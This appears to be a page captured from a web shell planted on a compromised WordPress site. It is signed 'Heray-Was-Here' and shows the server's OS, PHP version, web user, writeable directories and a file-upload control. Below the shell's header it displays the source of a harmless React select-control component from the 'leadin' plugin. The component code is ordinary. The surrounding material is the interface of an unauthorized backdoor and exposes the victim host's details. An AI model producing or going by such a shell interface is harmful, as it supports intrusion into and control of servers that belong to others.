Heray-Was-Here
Server : Apache/2.4.52 (Debian)
System : Linux 1b21ca041b67 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : www-data ( 33)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /var/www/html/wp-content/plugins/leadin/scripts/gutenberg/UIComponents/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/plugins/leadin/scripts/gutenberg/UIComponents/UISidebarSelectControl.tsx
import React from 'react';

import { SelectControl } from '@wordpress/components';
import withMetaData from '../../utils/withMetaData';
import {
  useBackgroundAppContext,
  usePostBackgroundMessage,
} from '../../iframe/useBackgroundApp';
import { ProxyMessages } from '../../iframe/integratedMessages';

interface IOption {
  label: string;
  value: string;
  disabled?: boolean;
}

interface IUISidebarSelectControlProps {
  metaValue?: string;
  metaKey: string;
  setMetaValue?: Function;
  options: IOption[];
  className: string;
  label: JSX.Element;
}

const UISidebarSelectControl = (props: IUISidebarSelectControlProps) => {
  const isBackgroundAppReady = useBackgroundAppContext();

  const monitorSidebarMetaChange = usePostBackgroundMessage();

  return (
    <SelectControl
      value={props.metaValue}
      onChange={content => {
        if (props.setMetaValue) {
          props.setMetaValue(content);
        }
        isBackgroundAppReady &&
          monitorSidebarMetaChange({
            key: ProxyMessages.TrackSidebarMetaChange,
            payload: {
              metaKey: props.metaKey,
            },
          });
      }}
      {...props}
    />
  );
};

export default withMetaData(UISidebarSelectControl);

Hry